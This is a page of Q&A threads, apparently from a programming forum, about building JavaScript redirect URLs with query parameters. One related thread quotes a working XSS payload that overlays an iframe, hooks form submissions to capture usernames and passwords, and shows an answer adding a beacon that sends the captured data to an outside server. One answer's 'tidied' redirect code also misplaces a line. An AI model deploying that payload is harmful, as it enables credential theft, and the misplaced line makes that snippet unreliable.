I've been trying this for a lot of time now. I'm getting a value with the input and I'm trying to redirect the page by adding a new parameter and just passing dummy value 23 for now to the parameter number_range.
However, in the end in the window.location part it adds the parameter myurl/?e=1 always at the start. After that it redirects properly. How do I fix this. Please Help.
Also I'm new to javascript so please forgive my bad code and possible mistakes.
<h3>Price Filter</h3>
<input id="number_range" type="text"/><br>
<button onclick="filter_start(this,'gt'); return true;">Greater or equal</button><br>
<button onclick="filter_start(this,'ltt'); return false;">Less or equal</button>
<script language="javascript" type="text/javascript">
var filter_start = function(el, indicator){
setGetParameter("number_range", 23);
}
function setGetParameter(paramName, paramValue)
{
var url = window.location.href;
var hash = location.hash;
url = url.replace(hash, '');
if (url.indexOf("?") >= 0)
{
var params = url.substring(url.indexOf("?") + 1).split("&");
var paramFound = false;
params.forEach(function(param, index) {
var p = param.split("=");
if (p[0] == paramName) {
params[index] = paramName + "=" + paramValue;
paramFound = true;
}
});
if (!paramFound) params.push(paramName + "=" + paramValue);
url = url.substring(0, url.indexOf("?")+1) + params.join("&");
}
else
url += "?" + paramName + "=" + paramValue;
window.location.href = url + hash;
}
EDIT: Sorry just ran it in another place and this seems to work. I Think the problem then lies in Django's admin template or jquery.
Seems that you're missing some curly bracers. I've tidied your code very slightly:
var filter_start = function(el, indicator) {
setGetParameter("number_range", 23);
}
function setGetParameter(paramName, paramValue) {
var url = window.location.href;
var hash = location.hash;
url = url.replace(hash, '');
if (url.indexOf("?") >= 0) {
var params = url.substring(url.indexOf("?") + 1).split("&");
var paramFound = false;
params.forEach(function(param, index) {
var p = param.split("=");
if (p[0] == paramName) {
params[index] = paramName + "=" + paramValue;
paramFound = true;
}
});
if (!paramFound) params.push(paramName + "=" + paramValue);
url = url.substring(0, url.indexOf("?") + 1) + params.join("&");
} else {
url += "?" + paramName + "=" + paramValue;
window.location.href = url + hash;
}
}
Related
I have the following code (NOTE: The code isn't mine, I just want to modify it, here is the source: https://rileykidd.com/2013/06/06/the-xss-who-watched-me/). Here is the code from the website:
(function() {
var d = new Date();
function log(m){
var s = d;
for(i in m){ s += "\n" + i + ":" + m[i] + " "; }
console.log(s);
}
function spoof(k){
window.history.pushState({}, "", k);
}
function hook(){
$('#xss').contents().find('a').bind('click', function() {
log({"Event":"Link", "Current":document.URL, "Target":$(this).attr('href')});
spoof($(this).attr('href'));
});
$('#xss').contents().find('form').bind('submit', function() {
var l = {"Event":"Form", "Current":document.URL, "Target":$(this).attr('action')};
$.each($(this).serializeArray(), function(i, f) { l[f.name] = f.value; });
log(l);
spoof($(this).attr('action'));
});
}
function poison() {
if (self == top){
$('body').children().hide();
log({"Hooked":document.URL});
$('<iframe id="xss">').attr('src', document.URL).css({
"position":"fixed", "top":"0px", "left":"0px", "bottom":"0px", "right":"0px", "width":"100%", "height":"100%", "border":"none", "margin":"0", "padding":"0", "overflow":"hidden", "z-index":"999999"
}).appendTo('body').load(function(){
hook();
});
}
}
function poll() {
if (typeof(jQuery) !== 'undefined') {
clearInterval(interval);
poison();
}
}
if (typeof(jQuery) == 'undefined') {
var s = document.createElement('script');
s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'code.jquery.com/jquery-latest.min.js';
document.head.appendChild(s);
var interval = setInterval(poll, 50);
} else {
poison();
}
})();
My goal is to modify this code so that I can send a request to http://server.com the following variables: document.URL and $(this).attr('action'), so I added the following code instead of log(l) (line 19):
new Image().src = "http://server.com/file.php?data=" + document.URL + $(this).attr('action');
The problem is whenever I want to make a HTTP Request including this variable $(this).attr('action'), the output of the second variable I get in the server is empty. document.URL works just fine, however the second variable is what I am facing problem with. When I test the variable output into the browser it works perfectly (when executing log(l)), I get:
Current:http://somewebsite.com
Target:/login
utf8:✓
authenticity_token:random
back_url:http://somewebsite.com
username:something#email.com
password:my_secured_password
Now my goal is to send this output into the server.
You probably need to URI-encode your query params:
new Image().src = (
'http://server.com/file.php' +
'?url=' + encodeURIComponent(document.URL) +
'&action=' + encodeURIComponent($(this).attr('action'))
);
If you need to send log output to the server, modify your function log:
function log(m) {
var s = d;
for (i in m) {
s += "\n" + i + ":" + m[i] + " ";
}
console.log(s);
new Image().src = 'http://server.com/file.php?data=' + encodeURIComponent(s);
}
I have the follwoing Jquery code to open page on button click passing a parameter but ? is translated to %3F is there anyways to fix this?
$("#PrintDocument").click(function () {
var grid = $("#Billings").data("kendoGrid");
var row = $("input:checked", grid.tbody).closest("tr");
var item = grid.dataItem(row);
window.location.pathname = '/invoice/billing/Print' + '?productId=' + item.ProductID + '&' + 'runId=' + item.RunID;
});
You are setting the pathname which does not have a query string.
window.location.href = '/invoice/billing/Print' + '?productId=' + item.ProductID + '&' + 'runId=' + item.RunID;
I need to handle click event for element on native js, After click, element url must be change, (i have one of query string parameter from current page url) and next, event handle will be continue (click on element having new link) (sorry I speak english badly).
simply put i want to do changes for element and execute native handle
function handle(e) {
var vin = new URLSearchParams(location.search).get('vin');
var item_url = this.getAttribute('href');
if (!!vin) {
var char = item_url.indexOf('?') != -1 ? '&' : '?';
this.setAttribute('href', item_url + char + 'vin=' + vin);
}
}
You can update href value on DOMContentLoaded. Remove handle function.
document.addEventListener("DOMContentLoaded", function() {
var vin = new URLSearchParams(location.search).get('vin');
if (!!vin) {
var links = document.querySelectorAll('.category_link');
for (i=0; i<links.length; i++) {
var item_url = links[i].getAttribute('href');
var char = item_url.indexOf('?') != -1 ? '&' : '?';
links[i].setAttribute('href', item_url + char + 'vin=' + vin);
}
}
});
EDIT 1
If you want to do with handle then you should replace this.setAttribute('href', item_url + char + 'vin=' + vin); with location.href = item_url + char + 'vin=' + vin. Your handle function will be like below:
function handle(e) {
var vin = new URLSearchParams(location.search).get('vin');
var item_url = this.getAttribute('href');
if (!!vin) {
var char = item_url.indexOf('?') != -1 ? '&' : '?';
location.href = item_url + char + 'vin=' + vin;
}
}
I am trying to reload a page after a few seconds and append the URL with a variable containing new Lat Long coordinates. Consider the code snippet below that works with Leaflet:
var latlng = getQueryVariable("latlng");
if(latlng){
console.log(latlng); //working
}
function getQueryVariable(variable) {
var query = window.location.search.substring(1);
var vars = query.split("?");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if (pair[0] == variable) {
return pair[1];
}
}
alert('Query Variable ' + variable + ' not found');
}
function onMapClick(e) {//Coordinate pop up
popup.setLatLng(e.latlng)
.setContent("Coordinates clicked are: " + e.latlng.toString())
.openOn(map);
var centerPoint = map.getSize().divideBy(2),
targetPoint = centerPoint.subtract([1500, 0]),
targetLatLng = map.containerPointToLatLng(centerPoint), //retrieve new lat longs
loadLatlng = "?latlng="+targetLatLng.lat+","+targetLatLng.lng;
setTimeout(function(){
//And herein lies the problem - the URL is being concatenated ??
window.location.href = window.location.href + loadLatlng;
window.location.href.reload(1);
}, 5000);
}
Does anyone know how to clear and then append the URL?
Thanks.
Build the url using the parts
window.location.href = [location.protocol, '//', location.host, location.pathname, loadLatlng].join("");
Same thing as
window.location.href = location.protocol + '//' + location.host + location.pathname + loadLatlng;
You could also do it a dirty way with splitting the current url on the ?
window.location.href = window.location.href.split("?")[0] + loadLatlng;
I made many pages to be loaded in div area with javascript.
How can I make a direct link from outside of my website to show the last page?
Thank you so much in advance!
The first javascript:
$(document).ready(function() {
$('#content').load('home.php');
$('a#nav').click(function() {
var page = $(this).attr('href');
$('#content').load('menu/' + page + '.php');
return false;
});
});
The second javascript:
$('a#navHan').click(function() {
var page = $(this).attr('href');
$('#contentHan').load('menu/Han/' + page + '.php');
return false;
});
I am not enirely sure what you mean, but I hope this will help.
You can use hashtags. For example: www.example.com/dir#lastpage.
Then with javascript, you retrieve the hashtag and load the page with jQuery/Ajax.
var page = location.hash.substr(1);
$('#content').load("menu/" + page + ".php");
You may try to use hash or query value in the href to your page, and use js to read the value when page loading.
if hash, for example www.example.com#google.com,
var page = window.location.hash.substr(1); // page = google.com
and change your code into:
$(document).ready(function() {
var fullPage = window.location.hash.substr(1); // page = google.com
if (fullPage == '')
$('#content').load('home.php');
else
$('#content').load(fullPage);
$('a#nav').click(function() {
var page = $(this).attr('href');
$('#content').load('menu/' + page + '.php');
return false;
});
});
the format of your href should be www.example.com#menu/page_name.php or www.example.com#menu/Han/page_name.php
if you use query variables, for example www.example.com?go=google.com
function getParameterByName(name) { // by jolly.exe at http://stackoverflow.com/questions/901115
name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
results = regex.exec(location.search);
return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
}
var page = getParameterByName("go"); // page = google.com
and you need to change your code into:
$(document).ready(function() {
function getParameterByName(name) { // by jolly.exe at http://stackoverflow.com/questions/901115
name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
results = regex.exec(location.search);
return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
}
var page = getParameterByName("page");
var isHan = parseInt(getParameterByName("han")) == 1;
if (page == '')
$('#content').load('home.php');
else
$('#content').load('menu/' + ((isHan)? "Han/" : "") + page + '.php');
$('a#nav').click(function() {
var page = $(this).attr('href');
$('#content').load('menu/' + page + '.php');
return false;
});
});
the format of your href should be www.example.com?page=page_name or www.example.com?page=page_name&han=1